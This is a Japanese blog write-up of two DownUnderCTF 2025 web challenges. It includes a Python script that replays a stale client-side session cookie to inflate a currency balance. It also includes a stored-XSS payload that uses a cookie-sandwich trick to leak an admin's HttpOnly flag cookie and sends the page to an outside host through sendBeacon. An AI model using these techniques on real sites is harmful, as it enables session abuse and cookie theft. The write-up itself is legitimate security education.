st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

DownUnderCTF 2025 writeup

7/18 - 7/20という日程で開催された。BunkyoWesternsで参加して1位🥇 ただ、ちょうど北陸への旅行とかぶってしまっており(参院選もかぶってしまったが、それはもちろん期日前投票をしておいた)、私はほとんど参加できていなかった。とはいえちょこっと参加したけれども、特にRequest HandlingとMore Request Handlingが面白かった(私は解いてないけど)。


[Beginner 100] stonks (265 solves)

Dear st98,

Times were wild before the email apocalypse. There were even sites giving out free money that also supported currency conversions!

WARNING: This challenge contains flashing colours! To disable add ?boring=true to the end of the URL when you visit the site.

Regards,
MC Fat Monke

(問題サーバのURL)

添付ファイル: stonks.zip

オーストラリアドルと様々な通貨で相互に変換できるという便利なアプリだ。ユーザ登録をすると50 AUDをプレゼントされる。ほかのユーザからの送金等で増やす手段はない中で、これをなんとかして1,000,000,000,000 AUDまで資産を膨らませることができればフラグをもらえるらしい。

# in AUD
SUPER_RICH = 1_000_000_000_000
# …
@app.route("/are-you-rich", methods=['GET'])
def are_you_rich():
    if not session.get("username", False) or not session.get("currency", False):
        return redirect("/login")
    
    u = session.get("username")
    currency = session.get("currency")
    balance_aud = user_balances.get(u, 0) / CURRENCY_CONVERSIONS[currency]

    if balance_aud > SUPER_RICH:
        return render_template("are-you-rich.html", 
                               message=f"YES YOU ARE! HERE IS A FLAG {FLAG}", 
                               aud_balance=balance_aud)
    return render_template("are-you-rich.html", message="NAH YA BROKE LOOOOOOOOOOOOL", 
                           aud_balance=balance_aud)

ユーザの保有額を触っている処理は、ユーザ登録か両替ぐらいしかない。明らかに怪しいのは後者なのでその処理を見ていく。まず、前提としてユーザは常に一つの通貨しか持つことができない(たとえば、オーストラリアドルと日本円を同時に保持することはできない)ということを覚えておきたい。

user_balancesuser_currencies という形でユーザの現在の保有額やそれがどの通貨であるかをサーバ側で保持している…のだけれども、セッションでも今どの通貨を保有しているかを保持している。old_currency = session["currency"] を見るとわかるように、なぜか両替時に「ユーザが現在保有している通貨」として参照する先が、サーバ側のデータでなくセッションとなっている。

@app.route("/change-currency", methods=['GET', 'POST'])
def change_currency():
    if not session.get("username", False) or not session.get("currency", False):
        return redirect("/login")
    
    if request.method == "GET":
        return render_template("change_currency.html", currencies=CURRENCY_CONVERSIONS)

    u = session["username"]
    old_currency = session["currency"]
    new_currency = request.form.get("currency", DOLLAR_STANDARD)
    if new_currency not in CURRENCY_CONVERSIONS:
        return render_template("change_currency.html", error="INVALID CURRENCY", currencies=CURRENCY_CONVERSIONS)
    
    if u not in user_balances:
        user_balances[u] = STONKS_GIFT * user_currencies[u]

    session["currency"] = new_currency
    user_balances[u] = (user_balances[u] / CURRENCY_CONVERSIONS[old_currency]) * CURRENCY_CONVERSIONS[new_currency] 
    user_currencies[u] = new_currency
    
    return redirect("/")

今回はクライアントサイドセッションが採用されているから、次のような手順を踏むことで、その数値は手順2で変換した後の通貨のものでありつつも、その通貨でなくオーストラリアドルで保有しているということにできないか。これで億万長者だ。

  1. ユーザ登録し、発行されたCookieを保存する
  2. AUDから好きな通貨に保存する
  3. 新たにCookieが発行されるが、無視して手順1で発行したCookieを使いAUDに変換する

これをスクリプトにすると次のようになる。

import httpx
import uuid

BASE_URL = 'https://(省略)'
with httpx.Client(base_url=BASE_URL) as client1:
    with httpx.Client(base_url=BASE_URL) as client2:
        u, p = str(uuid.uuid4()), str(uuid.uuid4())
        client1.post('/register', data={
            'username': u,
            'password': p,
            'confirm_password': p
        })

        r = ''
        while 'DUCTF{' not in r:
            # こちらはAUD→IDRへの返還を行うセッション
            client1.post('/login', data={
                'username': u,
                'password': p
            })
            # こちらは常にAUDで保持していることにするセッション
            client2.post('/login', data={
                'username': u,
                'password': p
            })

            # AUD→IDRに変換
            client1.post('/change-currency', data={
                'currency': 'IDR'
            })
            # ただ、こちらではAUD→AUDで変換したことになる
            client2.post('/change-currency', data={
                'currency': 'AUD'
            })

            r = client2.get('/are-you-rich').text

        i = r.index('DUCTF{')
        print(r[i:r.index('}', i)+1])

実行するとフラグが得られた。

$ python3 s.py 
DUCTF{r3u5iNg_d3R_S35510N5_4_St000o0oONKsS5!}
DUCTF{r3u5iNg_d3R_S35510N5_4_St000o0oONKsS5!}

[Web 223] Sweet Treat (58 solves)

Dear st98,

Hope you have a sweet tooth.

Regards,
sidd.sh

(問題サーバのURL)

添付ファイル: src.zip

プロフィールを作成できるWebアプリが与えられている。自己紹介の文章を保存でき、またそれをadminに報告して見てもらうことができる。

ユーザ側からはXSSが存在しないように見えるけれども、admin側ではそうではない。adminは /admin/admin-review.jsp からユーザの投稿を閲覧するわけだけれども、ここで自己紹介文の表示時にエスケープがなされていない。

<div class="about-content"><%= (aboutMe != null && !aboutMe.isEmpty()) ? aboutMe : "No about me section provided." %></div>

さて、ではどうすればXSSからフラグの窃取につなげられるだろうか。まずフラグの場所を見てみると、どうやらadminがCookieで持っているようだとわかる。しかしながら、HttpOnly 属性が付与されてしまっている。これを出力するような処理はないわけだけれども、どうすればよいだろうか。

        Cookie flag = new Cookie("flag", "DUCTF{FAKE_FLAG}");
        flag.setPath("/");
        flag.setHttpOnly(true);
        response.addCookie(flag);

エラー出力等で HttpOnly なものも含めてCookieをエラーメッセージとして出力させられないか、別のCookie周りの処理を悪用できないかと眺めていると、/index.jsp/admin/admin-review.jsp 等で次のように language というCookieを参照している様子が確認できた。その値を出力している。

    String lang = "en";
    Cookie[] cookies = request.getCookies();
    if (cookies != null) {
        for (Cookie c : cookies) {
            if ("language".equals(c.getName())) {
                lang = c.getValue();
            }
        }
    }
// …
<html lang="<%= lang %>">

ここで、Cookieをサンドイッチして盗み出す手法を思い出した。詳細は記事を参照いただくとして、要は Cookie: $Version=1; language="; flag=DUCTF{dummy}; dummy=" のようにしてCookieを送信させれば、本来は $Version, language, flag, dummy という4つのCookieがあると解釈すべきところ、language という一つだけがあり、その値が ; flag=DUCTF{dummy}; dummy= であると解釈させることができるのではないか。

次のようなペイロードを報告する。

<script>
document.cookie = `$Version=1; Domain=${document.domain}; Path=/index.jsp`
document.cookie = `language="; Domain=${document.domain}; Path=/index.jsp`
document.cookie = `dummy="; Domain=${document.domain}; Path=/`

fetch('/index.jsp').then(r => r.text()).then(r => {
    navigator.sendBeacon('https://(省略)', r);
});
</script>

すると、先ほど説明したような形でCookieを誤って解釈させることができ、これによって lang 属性からフラグが得られた。

<!DOCTYPE html>
<html lang=""; JSESSIONID=90F20137D16F88E576EC6A9E35DEE217; flag=DUCTF{1_th0ught_y0u_c0uldnt_st34l_th3m}; dummy="">
  <head>
DUCTF{1_th0ught_y0u_c0uldnt_st34l_th3m}